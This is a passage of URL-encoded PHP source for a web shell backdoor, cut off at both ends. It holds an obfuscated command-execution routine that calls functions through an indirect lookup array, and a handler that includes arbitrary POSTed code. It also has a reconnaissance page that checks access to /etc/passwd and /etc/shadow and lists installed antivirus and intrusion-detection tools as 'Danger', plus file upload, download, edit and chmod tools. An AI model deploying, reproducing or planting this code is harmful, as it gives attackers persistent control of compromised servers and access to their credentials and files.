%0A%09%09%3Cinput%20type%3Dhidden%20name%3Dc%20value%3D%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%22%27%3E%0A%09%09%3Cinput%20type%3Dhidden%20name%3Dp1%20value%3D%27uploadFile%27%3E%0A%09%09%3Cinput%20type%3Dhidden%20name%3Dne%20value%3D%27%27%3E%0A%09%09%3Cinput%20type%3Dhidden%20name%3Dcharset%20value%3D%27%22%20.%20%28isset%28%24%5fPOST%5B%22charset%22%5D%29%20%3F%20%24%5fPOST%5B%22charset%22%5D%20%3A%20%22%22%29%20.%20%22%27%3E%0A%09%09%3Cspan%3E%E1%9E%95%E1%9F%92%E1%9E%91%E1%9E%BB%E1%9E%80%E1%9E%A1%E1%9E%BE%E1%9E%84%E1%9E%AF%E1%9E%80%E1%9E%9F%E1%9E%B6%E1%9E%9A%3A%3C%2Fspan%3E%24is%5fwritable%3Cbr%3E%3Cinput%20class%3D%27toolsInp%27%20type%3Dfile%20name%3Df%5B%5D%20%20multiple%3E%3Cinput%20type%3Dsubmit%20value%3D%27submit%27%3E%3C%2Fform%3E%3Cbr%20%20%3E%3C%2Ftd%3E%0A%09%3C%2Ftr%3E%3C%2Ftable%3E%3C%2Fdiv%3E%0A%09%3C!--%20particles%20--%3E%20%3Cdiv%20id%3D%27particles-js%27%3E%3C%2Fdiv%3E%3Cscript%20src%3D%27https%3A%2F%2Fcdn.jsdelivr.net%2Fparticles.js%2F2.0.0%2Fparticles.min.js%27%3E%3C%2Fscript%3E%0A%09%3Cscript%3EparticlesJS%28%27particles-js%27%2C%20%7B%27particles%27%3A%7B%27number%27%3A%7B%27value%27%3A80%2C%27density%27%3A%7B%27enable%27%3Atrue%2C%27value%5farea%27%3A800%7D%7D%2C%27color%27%3A%7B%27value%27%3A%27%23ffffff%27%7D%2C%27shape%27%3A%7B%27type%27%3A%27triangle%27%2C%27stroke%27%3A%7B%27width%27%3A0%2C%27color%27%3A%27%23000000%27%7D%2C%27polygon%27%3A%7B%27nb%5fsides%27%3A5%7D%2C%27image%27%3A%7B%27src%27%3A%27img%2Fgithub.svg%27%2C%27width%27%3A100%2C%27height%27%3A100%7D%7D%2C%27opacity%27%3A%7B%27value%27%3A0.5%2C%27random%27%3Atrue%2C%27anim%27%3A%7B%27enable%27%3Afalse%2C%27speed%27%3A1%2C%27opacity%5fmin%27%3A0.1%2C%27sync%27%3Afalse%7D%7D%2C%27size%27%3A%7B%27value%27%3A3%2C%27random%27%3Atrue%2C%27anim%27%3A%7B%27enable%27%3Afalse%2C%27speed%27%3A40%2C%27size%5fmin%27%3A0.1%2C%27sync%27%3Afalse%7D%7D%2C%27line%5flinked%27%3A%7B%27enable%27%3Atrue%2C%27distance%27%3A200%2C%27color%27%3A%27%23ffffff%27%2C%27opacity%27%3A0.4%2C%27width%27%3A1%7D%2C%27move%27%3A%7B%27enable%27%3Atrue%2C%27speed%27%3A1%2C%27direction%27%3A%27none%27%2C%27random%27%3Atrue%2C%27straight%27%3Afalse%2C%27out%5fmode%27%3A%27out%27%2C%27bounce%27%3Afalse%2C%27attract%27%3A%7B%27enable%27%3Afalse%2C%27rotateX%27%3A10000%2C%27rotateY%27%3A10000%7D%7D%7D%2C%27interactivity%27%3A%7B%27detect%5fon%27%3A%27canvas%27%2C%27events%27%3A%7B%27onhover%27%3A%7B%27enable%27%3Atrue%2C%27mode%27%3A%27grab%27%7D%2C%27onclick%27%3A%7B%27enable%27%3Atrue%2C%27mode%27%3A%27repulse%27%7D%2C%27resize%27%3Atrue%7D%2C%27modes%27%3A%7B%27grab%27%3A%7B%27distance%27%3A200%2C%27line%5flinked%27%3A%7B%27opacity%27%3A0.5%7D%7D%2C%27bubble%27%3A%7B%27particles%5fnb%27%3A2%7D%7D%7D%2C%27retina%5fdetect%27%3Atrue%7D%29%3B%3C%2Fscript%3E%0A%09%3C%2Fbody%3E%3C%2Fhtml%3E%22%3B%20%7D%20if%20%28%20!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22posix%5fgetpwuid%22%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%24GLOBALS%5B%22disable%5ffunctions%22%5D%2C%20%22posix%5fgetpwuid%22%29%20%3D%3D%3D%20false%20%29%20%7B%20function%20posix%5fgetpwuid%28%24p%29%20%7B%20return%20false%3B%20%7D%20%7D%20if%20%28%20!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22posix%5fgetgrgid%22%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%24GLOBALS%5B%22disable%5ffunctions%22%5D%2C%20%22posix%5fgetgrgid%22%29%20%3D%3D%3D%20false%20%29%20%7B%20function%20posix%5fgetgrgid%28%24p%29%20%7B%20return%20false%3B%20%7D%20%7D%20function%20ex%28%24in%29%20%7B%20%24%E2%96%96%20%3D%20%22%22%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%24GLOBALS%5B%22tinh%22%5D%5B0%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B0%5D%28%24in%2C%20%24%E2%96%96%29%3B%20%24%E2%96%96%20%3D%20%40join%28%22%5Cn%22%2C%20%24%E2%96%96%29%3B%20%7D%20elseif%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%24GLOBALS%5B%22tinh%22%5D%5B1%5D%29%29%20%7B%20ob%5fstart%28%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B1%5D%28%24in%29%3B%20%24%E2%96%96%20%3D%20ob%5fget%5fclean%28%29%3B%20%7D%20elseif%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%24GLOBALS%5B%22tinh%22%5D%5B2%5D%29%29%20%7B%20ob%5fstart%28%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B2%5D%28%24in%29%3B%20%24%E2%96%96%20%3D%20ob%5fget%5fclean%28%29%3B%20%7D%20elseif%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%24GLOBALS%5B%22tinh%22%5D%5B3%5D%29%29%20%7B%20%24%E2%96%96%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B3%5D%28%24in%29%3B%20%7D%20elseif%20%28is%5fresource%28%24f%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B5%5D%28%24in%2C%20%22r%22%29%29%29%20%7B%20%24%E2%96%96%20%3D%20%22%22%3B%20while%20%28!%40feof%28%24f%29%29%20%7B%20%24%E2%96%96%20.%3D%20fread%28%24f%2C%201024%29%3B%20%7D%20%24GLOBALS%5B%22tinh%22%5D%5B4%5D%28%24f%29%3B%20%7D%20else%20%7B%20return%20%22%E2%86%B3%20Unable%20to%20execute%20command%5Cn%22%3B%20%7D%20return%20%24%E2%96%96%20%3D%3D%20%22%22%20%3F%20%22%E2%86%B3%20Query%20did%20not%20return%20anything%5Cn%22%20%3A%20%24%E2%96%96%3B%20%7D%20function%20viewSize%28%24s%29%20%7B%20if%20%28%24s%20%3E%3D%201073741824%29%20%7B%20return%20sprintf%28%22%251.2f%22%2C%20%24s%20%2F%201073741824%29%20.%20%22%20GB%22%3B%20%7D%20elseif%20%28%24s%20%3E%3D%201048576%29%20%7B%20return%20sprintf%28%22%251.2f%22%2C%20%24s%20%2F%201048576%29%20.%20%22%20MB%22%3B%20%7D%20elseif%20%28%24s%20%3E%3D%201024%29%20%7B%20return%20sprintf%28%22%251.2f%22%2C%20%24s%20%2F%201024%29%20.%20%22%20KB%22%3B%20%7D%20else%20%7B%20return%20%24s%20.%20%22%20B%22%3B%20%7D%20%7D%20function%20perms%28%24p%29%20%7B%20if%20%28%28%24p%20%26%200xc000%29%20%3D%3D%200xc000%29%20%7B%20%24i%20%3D%20%22s%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200xa000%29%20%3D%3D%200xa000%29%20%7B%20%24i%20%3D%20%22l%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x8000%29%20%3D%3D%200x8000%29%20%7B%20%24i%20%3D%20%22-%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x6000%29%20%3D%3D%200x6000%29%20%7B%20%24i%20%3D%20%22b%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x4000%29%20%3D%3D%200x4000%29%20%7B%20%24i%20%3D%20%22d%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x2000%29%20%3D%3D%200x2000%29%20%7B%20%24i%20%3D%20%22c%22%3B%20%7D%20elseif%20%28%28%24p%20%26%200x1000%29%20%3D%3D%200x1000%29%20%7B%20%24i%20%3D%20%22p%22%3B%20%7D%20else%20%7B%20%24i%20%3D%20%22u%22%3B%20%7D%20%24i%20.%3D%20%24p%20%26%200x0100%20%3F%20%22r%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0080%20%3F%20%22w%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0040%20%3F%20%28%24p%20%26%200x0800%20%3F%20%22s%22%20%3A%20%22x%22%29%20%3A%20%28%24p%20%26%200x0800%20%3F%20%22S%22%20%3A%20%22-%22%29%3B%20%24i%20.%3D%20%24p%20%26%200x0020%20%3F%20%22r%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0010%20%3F%20%22w%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0008%20%3F%20%28%24p%20%26%200x0400%20%3F%20%22s%22%20%3A%20%22x%22%29%20%3A%20%28%24p%20%26%200x0400%20%3F%20%22S%22%20%3A%20%22-%22%29%3B%20%24i%20.%3D%20%24p%20%26%200x0004%20%3F%20%22r%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0002%20%3F%20%22w%22%20%3A%20%22-%22%3B%20%24i%20.%3D%20%24p%20%26%200x0001%20%3F%20%28%24p%20%26%200x0200%20%3F%20%22t%22%20%3A%20%22x%22%29%20%3A%20%28%24p%20%26%200x0200%20%3F%20%22T%22%20%3A%20%22-%22%29%3B%20return%20%24i%3B%20%7D%20function%20viewPermsColor%28%24f%29%20%7B%20if%20%28!%40is%5freadable%28%24f%29%29%20%7B%20return%20%22%3Cfont%20color%3D%23ff5e00d9%3E%3Cb%3E%22%20.%20perms%28%40fileperms%28%24f%29%29%20.%20%22%3C%2Fb%3E%3C%2Ffont%3E%22%3B%20%7D%20elseif%20%28!%40is%5fwritable%28%24f%29%29%20%7B%20return%20%22%3Cfont%20color%3Dwhite%3E%3Cb%3E%22%20.%20perms%28%40fileperms%28%24f%29%29%20.%20%22%3C%2Fb%3E%3C%2Ffont%3E%22%3B%20%7D%20else%20%7B%20return%20%22%3Cfont%20color%3D%22.COLOR%5f2.%22%3E%3Cb%3E%22%20.%20perms%28%40fileperms%28%24f%29%29%20.%20%22%3C%2Fb%3E%3C%2Ffont%3E%22%3B%20%7D%20%7D%20function%20hardScandir%28%24dir%29%20%7B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22scandir%22%29%29%20%7B%20return%20scandir%28%24dir%29%3B%20%7D%20else%20%7B%20%24dh%20%3D%20opendir%28%24dir%29%3B%20while%20%28false%20!%3D%3D%20%28%24filename%20%3D%20readdir%28%24dh%29%29%29%20%7B%20%24files%5B%5D%20%3D%20%24filename%3B%20%7D%20return%20%24files%3B%20%7D%20%7D%20function%20which%28%24p%29%20%7B%20%24path%20%3D%20ex%28%22which%20%22%20.%20%24p%29%3B%20if%20%28!empty%28%24path%29%29%20%7B%20return%20%24path%3B%20%7D%20return%20false%3B%20%7D%20function%20actionRC%28%29%20%7B%20if%20%28!%40%24%5fPOST%5B%22p1%22%5D%29%20%7B%20%24a%20%3D%20%5B%20%22uname%22%20%3D%3E%20%24GLOBALS%5B%22tinh%22%5D%5B22%5D%28%29%2C%20%22php%5fversion%22%20%3D%3E%20phpversion%28%29%2C%20%22VERSION%22%20%3D%3E%20VERSION%2C%20%22safemode%22%20%3D%3E%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22safe%5fmode%22%29%2C%20%5D%3B%20echo%20serialize%28%24a%29%3B%20%7D%20else%20%7B%20%24temp%5ffile%20%3D%20tmpfile%28%29%3B%20fwrite%28%24temp%5ffile%2C%20%24%5fPOST%5B%22p1%22%5D%29%3B%20include%20stream%5fget%5fmeta%5fdata%28%24temp%5ffile%29%5B%22uri%22%5D%3B%20fclose%28%24temp%5ffile%29%3B%20%7D%20%7D%20function%20prototype%28%24k%2C%20%24v%29%20%7B%20%24%5fCOOKIE%5B%24k%5D%20%3D%20%24v%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%24k%2C%20%24v%29%3B%20%7D%20function%20actionSecInfo%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ch1%3EServer%20security%20information%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%22%3B%20function%20showSecParam%28%24n%2C%20%24v%29%20%7B%20%24v%20%3D%20trim%28%24v%29%3B%20if%20%28%24v%29%20%7B%20echo%20%22%3Cspan%3E%22%20.%20%24n%20.%20%22%3A%20%3C%2Fspan%3E%22%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B29%5D%28%24v%2C%20%22%5Cn%22%29%20%3D%3D%3D%20false%29%20%7B%20echo%20%24v%20.%20%22%3Cbr%3E%22%3B%20%7D%20else%20%7B%20echo%20%22%3Cpre%20class%3Dml1%3E%22%20.%20%24v%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20%7D%20%7D%20showSecParam%28%22Server%20software%22%2C%20%40getenv%28%22SERVER%5fSOFTWARE%22%29%29%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22apache%5fget%5fmodules%22%29%29%20%7B%20showSecParam%28%20%22Loaded%20Apache%20modules%22%2C%20implode%28%22%2C%20%22%2C%20apache%5fget%5fmodules%28%29%29%20%29%3B%20%7D%20showSecParam%28%20%22Disabled%20PHP%20Functions%22%2C%20%24GLOBALS%5B%22disable%5ffunctions%22%5D%20%3F%20%24GLOBALS%5B%22disable%5ffunctions%22%5D%20%3A%20%22none%22%20%29%3B%20showSecParam%28%22Open%20base%20dir%22%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22open%5fbasedir%22%29%29%3B%20showSecParam%28%20%22Safe%20mode%20exec%20dir%22%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22safe%5fmode%5fexec%5fdir%22%29%20%29%3B%20showSecParam%28%20%22Safe%20mode%20include%20dir%22%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22safe%5fmode%5finclude%5fdir%22%29%20%29%3B%20showSecParam%28%20%22cURL%20support%22%2C%20%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22curl%5fversion%22%29%20%3F%20%22enabled%22%20%3A%20%22no%22%20%29%3B%20%24temp%20%3D%20%5B%5D%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22mysql%5fget%5fclient%5finfo%22%29%29%20%7B%20%24temp%5B%5D%20%3D%20%22MySql%20%28%22%20.%20mysql%5fget%5fclient%5finfo%28%29%20.%20%22%29%22%3B%20%7D%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22mssql%5fconnect%22%29%29%20%7B%20%24temp%5B%5D%20%3D%20%22MSSQL%22%3B%20%7D%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22pg%5fconnect%22%29%29%20%7B%20%24temp%5B%5D%20%3D%20%22PostgreSQL%22%3B%20%7D%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22oci%5fconnect%22%29%29%20%7B%20%24temp%5B%5D%20%3D%20%22Oracle%22%3B%20%7D%20showSecParam%28%22Supported%20databases%22%2C%20implode%28%22%2C%20%22%2C%20%24temp%29%29%3B%20echo%20%22%3Cbr%3E%22%3B%20if%20%28%24GLOBALS%5B%22os%22%5D%20%3D%3D%20%22nix%22%29%20%7B%20showSecParam%28%20%22Readable%20%2Fetc%2Fpasswd%22%2C%20%40is%5freadable%28%22%2Fetc%2Fpasswd%22%29%20%3F%20%22yes%20%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesTools%5C%22%2C%20%5C%22%2Fetc%2F%5C%22%2C%20%5C%22passwd%5C%22%29%27%3E%5Bview%5D%3C%2Fa%3E%22%20%3A%20%22no%22%20%29%3B%20showSecParam%28%20%22Readable%20%2Fetc%2Fshadow%22%2C%20%40is%5freadable%28%22%2Fetc%2Fshadow%22%29%20%3F%20%22yes%20%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesTools%5C%22%2C%20%5C%22%2Fetc%2F%5C%22%2C%20%5C%22shadow%5C%22%29%27%3E%5Bview%5D%3C%2Fa%3E%22%20%3A%20%22no%22%20%29%3B%20showSecParam%28%22OS%20version%22%2C%20%40file%5fget%5fcontents%28%22%2Fproc%2Fversion%22%29%29%3B%20showSecParam%28%22Distr%20name%22%2C%20%40file%5fget%5fcontents%28%22%2Fetc%2Fissue.net%22%29%29%3B%20if%20%28!%24GLOBALS%5B%22safe%5fmode%22%5D%29%20%7B%20%24userful%20%3D%20%5B%20%22gcc%22%2C%20%22lcc%22%2C%20%22cc%22%2C%20%22ld%22%2C%20%22make%22%2C%20%22php%22%2C%20%22perl%22%2C%20%22python%22%2C%20%22ruby%22%2C%20%22tar%22%2C%20%22gzip%22%2C%20%22bzip%22%2C%20%22bzip2%22%2C%20%22nc%22%2C%20%22locate%22%2C%20%22suidperl%22%2C%20%5D%3B%20%24danger%20%3D%20%5B%20%22kav%22%2C%20%22nod32%22%2C%20%22bdcored%22%2C%20%22uvscan%22%2C%20%22sav%22%2C%20%22drwebd%22%2C%20%22clamd%22%2C%20%22rkhunter%22%2C%20%22chkrootkit%22%2C%20%22iptables%22%2C%20%22ipfw%22%2C%20%22tripwire%22%2C%20%22shieldcc%22%2C%20%22portsentry%22%2C%20%22snort%22%2C%20%22ossec%22%2C%20%22lidsadm%22%2C%20%22tcplodg%22%2C%20%22sxid%22%2C%20%22logcheck%22%2C%20%22logwatch%22%2C%20%22sysmask%22%2C%20%22zmbscap%22%2C%20%22sawmill%22%2C%20%22wormscan%22%2C%20%22ninja%22%2C%20%5D%3B%20%24downloaders%20%3D%20%5B%20%22wget%22%2C%20%22fetch%22%2C%20%22lynx%22%2C%20%22links%22%2C%20%22curl%22%2C%20%22get%22%2C%20%22lwp-mirror%22%2C%20%5D%3B%20echo%20%22%3Cbr%3E%22%3B%20%24temp%20%3D%20%5B%5D%3B%20foreach%20%28%24userful%20as%20%24%E2%96%9F%29%20%7B%20if%20%28which%28%24%E2%96%9F%29%29%20%7B%20%24temp%5B%5D%20%3D%20%24%E2%96%9F%3B%20%7D%20%7D%20showSecParam%28%22Userful%22%2C%20implode%28%22%2C%20%22%2C%20%24temp%29%29%3B%20%24temp%20%3D%20%5B%5D%3B%20foreach%20%28%24danger%20as%20%24%E2%96%9F%29%20%7B%20if%20%28which%28%24%E2%96%9F%29%29%20%7B%20%24temp%5B%5D%20%3D%20%24%E2%96%9F%3B%20%7D%20%7D%20showSecParam%28%22Danger%22%2C%20implode%28%22%2C%20%22%2C%20%24temp%29%29%3B%20%24temp%20%3D%20%5B%5D%3B%20foreach%20%28%24downloaders%20as%20%24%E2%96%9F%29%20%7B%20if%20%28which%28%24%E2%96%9F%29%29%20%7B%20%24temp%5B%5D%20%3D%20%24%E2%96%9F%3B%20%7D%20%7D%20showSecParam%28%22Downloaders%22%2C%20implode%28%22%2C%20%22%2C%20%24temp%29%29%3B%20echo%20%22%3Cbr%2F%3E%22%3B%20showSecParam%28%22HDD%20space%22%2C%20ex%28%22df%20-h%22%29%29%3B%20showSecParam%28%22Hosts%22%2C%20%40file%5fget%5fcontents%28%22%2Fetc%2Fhosts%22%29%29%3B%20showSecParam%28%22Mount%20options%22%2C%20%40file%5fget%5fcontents%28%22%2Fetc%2Ffstab%22%29%29%3B%20%7D%20%7D%20else%20%7B%20showSecParam%28%22OS%20Version%22%2C%20ex%28%22ver%22%29%29%3B%20showSecParam%28%20%22Account%20Settings%22%2C%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%22CP866%22%2C%20%22UTF-8%22%2C%20ex%28%22net%20accounts%22%29%29%20%29%3B%20showSecParam%28%20%22User%20Accounts%22%2C%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%22CP866%22%2C%20%22UTF-8%22%2C%20ex%28%22net%20user%22%29%29%20%29%3B%20%7D%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionFilesTools%28%29%20%7B%20if%20%28isset%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p1%22%5D%20%3D%20urldecode%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%7D%20if%20%28%40%24%5fPOST%5B%22p2%22%5D%20%3D%3D%20%22download%22%29%20%7B%20if%20%28%40is%5ffile%28%24%5fPOST%5B%22p1%22%5D%29%20%26%26%20%40is%5freadable%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20ob%5fstart%28%22ob%5fgzhandler%22%2C%204096%29%3B%20header%28%20%22Content-Disposition%3A%20attachment%3B%20filename%3D%22%20.%20basename%28%24%5fPOST%5B%22p1%22%5D%29%20%29%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22mime%5fcontent%5ftype%22%29%29%20%7B%20%24type%20%3D%20%40mime%5fcontent%5ftype%28%24%5fPOST%5B%22p1%22%5D%29%3B%20header%28%22Content-Type%3A%20%22%20.%20%24type%29%3B%20%7D%20else%20%7B%20header%28%22Content-Type%3A%20application%2Foctet-stream%22%29%3B%20%7D%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22r%22%29%3B%20if%20%28%24fp%29%20%7B%20while%20%28!%40feof%28%24fp%29%29%20%7B%20echo%20%40fread%28%24fp%2C%201024%29%3B%20%7D%20fclose%28%24fp%29%3B%20%7D%20%7D%20exit%28%29%3B%20%7D%20if%20%28%40%24%5fPOST%5B%22p2%22%5D%20%3D%3D%20%22mkfile%22%29%20%7B%20if%20%28!file%5fexists%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22w%22%29%3B%20if%20%28%24fp%29%20%7B%20%24%5fPOST%5B%22p2%22%5D%20%3D%20%22edit%22%3B%20fclose%28%24fp%29%3B%20%7D%20%7D%20%7D%20hardHeader%28%29%3B%20echo%20%22%3Ch1%3EFile%20tools%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%22%3B%20if%20%28!file%5fexists%28%40%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20echo%20%22File%20not%20exists%22%3B%20hardFooter%28%29%3B%20return%3B%20%7D%20%24uid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B18%5D%28%40fileowner%28%24%5fPOST%5B%22p1%22%5D%29%29%3B%20if%20%28!%24uid%29%20%7B%20%24uid%5B%22name%22%5D%20%3D%20%40fileowner%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%24gid%5B%22name%22%5D%20%3D%20%40filegroup%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%7D%20else%20%7B%20%24gid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B19%5D%28%40filegroup%28%24%5fPOST%5B%22p1%22%5D%29%29%3B%20%7D%20echo%20%22%3Cspan%3EName%3A%3C%2Fspan%3E%20%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40basename%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%22%20%3Cspan%3ESize%3A%3C%2Fspan%3E%20%22%20.%20%28is%5ffile%28%24%5fPOST%5B%22p1%22%5D%29%20%3F%20viewSize%28filesize%28%24%5fPOST%5B%22p1%22%5D%29%29%20%3A%20%22-%22%29%20.%20%22%20%3Cspan%3EPermission%3A%3C%2Fspan%3E%20%22%20.%20viewPermsColor%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%22%20%3Cspan%3EOwner%2FGroup%3A%3C%2Fspan%3E%20%22%20.%20%24uid%5B%22name%22%5D%20.%20%22%2F%22%20.%20%24gid%5B%22name%22%5D%20.%20%22%3Cbr%3E%22%3B%20echo%20%22%3Cspan%3ECreate%20time%3A%3C%2Fspan%3E%20%22%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%2C%20filectime%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%22%20%3Cspan%3EAccess%20time%3A%3C%2Fspan%3E%20%22%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%2C%20fileatime%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%22%20%3Cspan%3EModify%20time%3A%3C%2Fspan%3E%20%22%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%2C%20filemtime%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%22%3Cbr%3E%3Cbr%3E%22%3B%20if%20%28empty%28%24%5fPOST%5B%22p2%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p2%22%5D%20%3D%20%22view%22%3B%20%7D%20if%20%28is%5ffile%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24m%20%3D%20%5B%20%22View%22%2C%20%22Highlight%22%2C%20%22Download%22%2C%20%22Hexdump%22%2C%20%22Edit%22%2C%20%22Chmod%22%2C%20%22Rename%22%2C%20%22Touch%22%2C%20%22Frame%22%2C%20%5D%3B%20%7D%20else%20%7B%20%24m%20%3D%20%5B%22Chmod%22%2C%20%22Rename%22%2C%20%22Touch%22%5D%3B%20%7D%20foreach%20%28%24m%20as%20%24v%29%20%7B%20echo%20%27%3Ca%20href%3D%23%20onclick%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2C%5C%27%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28%24v%29%20.%20%27%5C%27%29%22%3E%27%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28%24v%29%20%3D%3D%20%40%24%5fPOST%5B%22p2%22%5D%20%3F%20%22%3Cb%3E%5B%20%22%20.%20%24v%20.%20%22%20%5D%3C%2Fb%3E%22%20%3A%20%24v%29%20.%20%22%3C%2Fa%3E%20%22%3B%20%7D%20echo%20%22%3Cbr%3E%3Cbr%3E%22%3B%20switch%20%28%24%5fPOST%5B%22p2%22%5D%29%20%7B%20case%20%22view%22%3A%20echo%20%22%3Cpre%20class%3Dml1%3E%22%3B%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22r%22%29%3B%20if%20%28%24fp%29%20%7B%20while%20%28!%40feof%28%24fp%29%29%20%7B%20echo%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40fread%28%24fp%2C%201024%29%29%3B%20%7D%20%40fclose%28%24fp%29%3B%20%7D%20echo%20%22%3C%2Fpre%3E%22%3B%20break%3B%20case%20%22highlight%22%3A%20if%20%28%40is%5freadable%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20echo%20%27%3Cdiv%20class%3Dml1%20style%3D%22background-color%3A%20%23e1e1e1%3Bcolor%3Ablack%3B%22%3E%27%3B%20%24oRb%20%3D%20%40highlight%5ffile%28%24%5fPOST%5B%22p1%22%5D%2C%20true%29%3B%20echo%20str%5freplace%28%20%5B%22%3Cspan%20%22%2C%20%22%3C%2Fspan%3E%22%5D%2C%20%5B%22%3Cfont%20%22%2C%20%22%3C%2Ffont%3E%22%5D%2C%20%24oRb%20%29%20.%20%22%3C%2Fdiv%3E%22%3B%20%7D%20break%3B%20case%20%22chmod%22%3A%20if%20%28!empty%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20%24perms%20%3D%200%3B%20for%20%28%20%24i%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24%5fPOST%5B%22p3%22%5D%29%20-%201%3B%20%24i%20%3E%3D%200%3B%20--%24i%20%29%20%7B%20%24perms%20%2B%3D%20%28int%29%20%24%5fPOST%5B%22p3%22%5D%5B%24i%5D%20%2a%20pow%288%2C%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24%5fPOST%5B%22p3%22%5D%29%20-%20%24i%20-%201%29%3B%20%7D%20if%20%28!%40chmod%28%24%5fPOST%5B%22p1%22%5D%2C%20%24perms%29%29%20%7B%20echo%20%27Can%5C%27t%20set%20permissions!%3Cbr%3E%3Cscript%3Edocument.mf.p3.value%3D%22%22%3B%3C%2Fscript%3E%27%3B%20%7D%20%7D%20clearstatcache%28%29%3B%20echo%20%27%3Cscript%3Ep3%5f%3D%22%22%3B%3C%2Fscript%3E%3Cform%20onsubmit%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2Cnull%2Cthis.chmod.value%29%3Breturn%20false%3B%22%3E%3Cinput%20type%3Dtext%20name%3Dchmod%20value%3D%22%27%20.%20substr%28sprintf%28%22%25o%22%2C%20fileperms%28%24%5fPOST%5B%22p1%22%5D%29%29%2C%20-4%29%20.%20%27%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22submit%22%3E%3C%2Fform%3E%27%3B%20break%3B%20case%20%22edit%22%3A%20if%20%28!is%5fwritable%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20echo%20%27File%20isn%5C%27t%20writeable%27%3B%20break%3B%20%7D%20if%20%28!empty%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20%